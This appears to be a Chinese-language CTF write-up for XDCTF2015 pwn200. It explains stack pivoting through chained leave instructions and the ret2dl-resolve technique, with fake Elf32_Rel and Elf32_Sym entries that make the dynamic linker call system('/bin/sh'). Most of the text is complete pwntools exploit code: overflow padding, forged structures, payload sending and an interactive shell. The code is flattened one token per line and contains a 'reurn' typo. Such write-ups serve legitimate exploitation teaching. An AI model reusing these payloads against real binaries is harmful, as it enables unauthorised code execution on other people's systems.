这里需要用到的前置知识有ELF文件中的.rel.plt, .dynstr, .dynsym, .rel.plt, .dynamic, .plt, .got
等节知识和动态加载时_dl_runtime_resolve
的加载顺序,这些知识可以在我写的“文件格式”里看到。
用到的题目为XDCTF2015 pwn200,源码如下
参考内容,主要看他的图
实现手段详解:leave
命令可以理解为mov esp, ebp; pop ebp
那么两个leave会成为mov esp, ebp; pop ebp; mov esp, ebp; pop ebp
,而重点就是连起来后的中间两条指令pop ebp; mov esp, ebp
,这样就实现了改变esp,而如果存在栈溢出漏洞,那么我们是可以控制ebp内容的,这样就间接实现了控制esp。
实现了esp的改变,那么之后的shellcode等等都在写在新的栈中,并且是可以执行的,那么会产生一个新的问题,eip
如何指向我们写入的命令呢?这就需要ret指令和之前两个leave连起来后的末尾的pop ebp
了。需要注意,read写,是低地址向高地址写,push后esp降低,pop后esp增加,如下图
那么pop ebp
执行后,new_esp就指向了shellcode(如紫色箭头所示),此时执行ret,那么eip就指向了shellcode,蓝色箭头为其他内容了。这个过程中,new_ebp是多少都无所谓,因为这道题目中用不到了。当eip指向了shellcode后,接着就是执行了。综上就栈转移的内容
似乎还有其他的不是利用leave的栈转移,先不讨论。
栈转移代码实现如下:
利用0x08049105做为第二个leave使用
从上方的图片中可以看到,想要执行其他函数,我们需要伪造reloc(_dl_time_resolve的第二个参数),Elf32_Rel指针,Elf32_Sym指针和函数名字符串指针。在正常的动态链接过程中,合法函数的这些结构是通过偏移获得的,但在这道题目中,对这个偏移没有限制,即可以越界访问,因此我们在伪造了这些结构后,才能够使用。以上提到的结构,在文件格式那篇文档中有提到,伪造如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
def
fake_Rel(r_offset, r_info):
fake_Elf32_Rel
=
p32(r_offset)
fake_Elf32_Rel
+
=
p32(r_info)
return
fake_Elf32_Rel
pass
def
fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx):
fake_Elf32_Sym
=
p32(st_name)
fake_Elf32_Sym
+
=
p32(st_value)
fake_Elf32_Sym
+
=
p32(st_size)
fake_Elf32_Sym
+
=
bytes([st_info])
+
bytes([st_other])
+
p16(st_shndx)
return
fake_Elf32_Sym
def
write_rel():
r_offset
=
0x804C010
r_info
=
0x607
rel
=
fake_Rel(r_offset, r_info)
return
rel
def
write_sym():
st_name
=
0x080482EE
-
0x080482AC
st_value
=
0
st_size
=
0
st_info
=
0x12
st_other
=
0
st_shndx
=
0
sym
=
fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx)
reurn sym
def
getshell_1(esp):
rel
=
write_rel()
sym
=
write_sym()
ebp
=
"DDDD"
jmp_resolve
=
p32(resolve_addr)
fake_rel_address
=
esp
+
rop_size
push_offset
=
p32(fake_rel_address
-
REL_header_addr)
random_str
=
'CCCC'
arg_1
=
p32(
1
)
arg_2
=
p32(esp
+
rop_size
+
8
+
16
+
4
)
arg_3
=
p32(
8
)
rubbish
=
'EEEE'
bin_str
=
'/bin/sh\00'
rop
=
flat(ebp, jmp_resolve, push_offset, random_str, arg_1,arg_2,arg_3)
payload
=
rop
+
rel
+
sym
+
rubbish.encode()
+
bin_str.encode()
return
payload
上一节中,涉及的内容是getshell过程中需要使用的结构体的伪造,那么根据动态链接的流程图,还有两个点没有用,那就是link_map和reloc,打开IDA,找到.plt
表。如下图
在main函数中,点击这个_write的调用
会出现
或者是点开红色框后的模样
其中push 20h
这个20h就是reloc,而jmp sub_xxx
是link_map,而这个jmp指向的就是plt[0]和plt[1]。这个20h其实也是偏移,并且在这道题目中没有对改偏移数值大小的限制。这个偏移是指定函数的Elf32_Rel表相对于Rel_header的偏移。看下图
这里有个小坑,图中有两个REL Table,一个是ELF REL Relocation Table,另一个是ELF JMPREL Relocation Table,我们需要的是相对于后者的偏移,例如刚才的push 20h,就是0x080483a0-0x08048380=0x20。
在plt中是先执行了push,再执行的jmp,而在利用的过程中,我们只要保证jmp后,push的地址在栈顶就行(从结果出发)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
def
getshell(fake_Elf32_Rel, fake_Elf32_Sym, esp):
ebp
=
"DDDD"
jmp_resolve
=
p32(resolve_addr)
fake_rel_address
=
esp
+
rop_size
push_offset
=
p32(fake_rel_address
-
REL_header_addr)
random_str
=
'CCCC'
bin_sh_address
=
p32(esp
+
rop_size
+
8
+
16
+
8
)
system_str
=
'system\x00\x00'
bin_str
=
'/bin/sh\x00'
rop
=
flat(ebp, jmp_resolve, push_offset, random_str, bin_sh_address)
payload
=
rop
+
fake_Elf32_Rel
+
fake_Elf32_Sym
+
system_str.encode()
+
bin_str.encode()
return
payload
def
cacl_stack_size(fake_sym_addr, elf_bss):
if
(fake_sym_addr
-
SYM_header_addr)
%
SYM_size
=
=
0
:
return
-
1
temp
=
((fake_sym_addr
-
SYM_header_addr)
/
/
SYM_size)
+
1
fake_sym_addr
=
SYM_size
*
temp
+
SYM_header_addr
base_stage
=
fake_sym_addr
-
8
return
base_stage
-
elf_bss
stack_size
=
0x834
bss_addr
=
0
base_stage
=
0
rop_size
=
20
leave_ret_addr
=
0x08049105
resolve_addr
=
0x08049020
REL_header_addr
=
0x08048380
SYM_header_addr
=
0x0804820C
SYM_size
=
16
STR_header_addr
=
0x080482AC
read_plt
=
0
if
__name__
=
=
'__main__'
:
context(os
=
'linux'
, arch
=
'i386'
, log_level
=
'debug'
)
p
=
process(
"./main_8_3.out"
)
elf
=
ELF(
"./main_8_3.out"
)
bss_addr
=
elf.bss()
base_stage
=
bss_addr
+
stack_size
fake_sym_addr
=
base_stage
-
rop_size
+
rop_size
+
8
res
=
cacl_stack_size(fake_sym_addr, bss_addr)
if
res!
=
-
1
:
stack_size
=
res
base_stage
=
bss_addr
+
stack_size
read_plt
=
elf.plt[
'read'
]
new_esp
=
base_stage
-
rop_size
payload
=
stack_trans(base_stage
-
rop_size, new_esp)
p.recvuntil(
"Welcome to XDCTF2015~!\n"
)
p.send(payload)
system_addr
=
new_esp
+
rop_size
+
8
+
16
r_offset
=
0x804C010
fake_sym_addr
=
new_esp
+
rop_size
+
8
r_info
=
(((fake_sym_addr
-
SYM_header_addr)
/
/
SYM_size)<<
8
)
+
7
fake_rel
=
fake_Rel(r_offset, r_info)
st_name
=
system_addr
-
STR_header_addr
st_value
=
0
st_size
=
0
st_info
=
0x12
st_other
=
0
st_shndx
=
0
fake_sym
=
fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx)
payload
=
getshell(fake_rel,fake_sym, new_esp)
p.send(payload)
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
from
pwn
import
*
stack_size
=
0x834
bss_addr
=
0
base_stage
=
0
rop_size
=
20
leave_ret_addr
=
0x08049105
resolve_addr
=
0x08049020
REL_header_addr
=
0x08048380
SYM_header_addr
=
0x0804820C
SYM_size
=
16
STR_header_addr
=
0x080482AC
read_plt
=
0
def
stack_trans(read_start_addr, new_esp):
over_buffer
=
'A'
*
108
overwrite_ebp
=
p32(new_esp)
call_read
=
read_plt
ret
=
leave_ret_addr
arg_1
=
p32(
0
)
arg_2
=
p32(read_start_addr)
arg_3
=
p32(
0x100
)
payload
=
flat(over_buffer, overwrite_ebp, call_read, ret, arg_1, arg_2, arg_3)
fill
=
'B'
*
(
0x100
-
len
(payload))
payload
+
=
flat(fill)
return
payload
def
verify_trans(esp, elf):
rop_size
=
24
ebp
=
"DDDD"
write_plt
=
elf.plt[
'write'
]
jmp_write
=
p32(write_plt)
gap
=
"EEEE"
arg_1
=
p32(
1
)
arg_2
=
p32(esp
+
rop_size)
arg_3
=
p32(
len
(
"/bin/sh\00"
))
bin_str
=
"/bin/sh\00"
payload
=
flat(ebp, jmp_write, gap, arg_1, arg_2, arg_3, bin_str)
return
payload
def
fake_Rel(r_offset, r_info):
fake_Elf32_Rel
=
p32(r_offset)
fake_Elf32_Rel
+
=
p32(r_info)
return
fake_Elf32_Rel
pass
def
fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx):
fake_Elf32_Sym
=
p32(st_name)
fake_Elf32_Sym
+
=
p32(st_value)
fake_Elf32_Sym
+
=
p32(st_size)
fake_Elf32_Sym
+
=
bytes([st_info])
+
bytes([st_other])
+
p16(st_shndx)
return
fake_Elf32_Sym
def
write_rel():
r_offset
=
0x804C010
r_info
=
0x607
rel
=
fake_Rel(r_offset, r_info)
return
rel
def
write_sym():
st_name
=
0x080482EE
-
0x080482AC
st_value
=
0
st_size
=
0
st_info
=
0x12
st_other
=
0
st_shndx
=
0
sym
=
fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx)
return
sym
def
getshell_1(esp):
rel
=
write_rel()
sym
=
write_sym()
ebp
=
"DDDD"
jmp_resolve
=
p32(resolve_addr)
fake_rel_address
=
esp
+
rop_size
push_offset
=
p32(fake_rel_address
-
REL_header_addr)
random_str
=
'CCCC'
arg_1
=
p32(
1
)
arg_2
=
p32(esp
+
rop_size
+
8
+
16
+
4
)
arg_3
=
p32(
8
)
rubbish
=
'EEEE'
bin_str
=
'/bin/sh\00'
rop
=
flat(ebp, jmp_resolve, push_offset, random_str, arg_1, arg_2, arg_3)
payload
=
rop
+
rel
+
sym
+
rubbish.encode()
+
bin_str.encode()
return
payload
def
getshell(fake_Elf32_Rel, fake_Elf32_Sym, esp):
ebp
=
"DDDD"
jmp_resolve
=
p32(resolve_addr)
fake_rel_address
=
esp
+
rop_size
push_offset
=
p32(fake_rel_address
-
REL_header_addr)
random_str
=
'CCCC'
bin_sh_address
=
p32(esp
+
rop_size
+
8
+
16
+
8
)
system_str
=
'system\x00\x00'
bin_str
=
'/bin/sh\x00'
rop
=
flat(ebp, jmp_resolve, push_offset, random_str, bin_sh_address)
payload
=
rop
+
fake_Elf32_Rel
+
fake_Elf32_Sym
+
system_str.encode()
+
bin_str.encode()
return
payload
def
cacl_stack_size(fake_sym_addr, elf_bss):
if
(fake_sym_addr
-
SYM_header_addr)
%
SYM_size
=
=
0
:
return
-
1
temp
=
((fake_sym_addr
-
SYM_header_addr)
/
/
SYM_size)
+
1
fake_sym_addr
=
SYM_size
*
temp
+
SYM_header_addr
base_stage
=
fake_sym_addr
-
8
return
base_stage
-
elf_bss
if
__name__
=
=
'__main__'
:
context(os
=
'linux'
, arch
=
'i386'
, log_level
=
'debug'
)
p
=
process(
"./main_8_3.out"
)
elf
=
ELF(
"./main_8_3.out"
)
bss_addr
=
elf.bss()
base_stage
=
bss_addr
+
stack_size
fake_sym_addr
=
base_stage
-
rop_size
+
rop_size
+
8
res
=
cacl_stack_size(fake_sym_addr, bss_addr)
if
res !
=
-
1
:
stack_size
=
res
base_stage
=
bss_addr
+
stack_size
read_plt
=
elf.plt[
'read'
]
new_esp
=
base_stage
-
rop_size
payload
=
stack_trans(base_stage
-
rop_size, new_esp)
p.recvuntil(
"Welcome to XDCTF2015~!\n"
)
p.send(payload)
system_addr
=
new_esp
+
rop_size
+
8
+
16
r_offset
=
0x804C010
fake_sym_addr
=
new_esp
+
rop_size
+
8
r_info
=
(((fake_sym_addr
-
SYM_header_addr)
/
/
SYM_size) <<
8
)
+
7
fake_rel
=
fake_Rel(r_offset, r_info)
st_name
=
system_addr
-
STR_header_addr
st_value
=
0
st_size
=
0
st_info
=
0x12
st_other
=
0
st_shndx
=
0
fake_sym
=
fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx)
payload
=
getshell(fake_rel, fake_sym, new_esp)
p.send(payload)
p.interactive()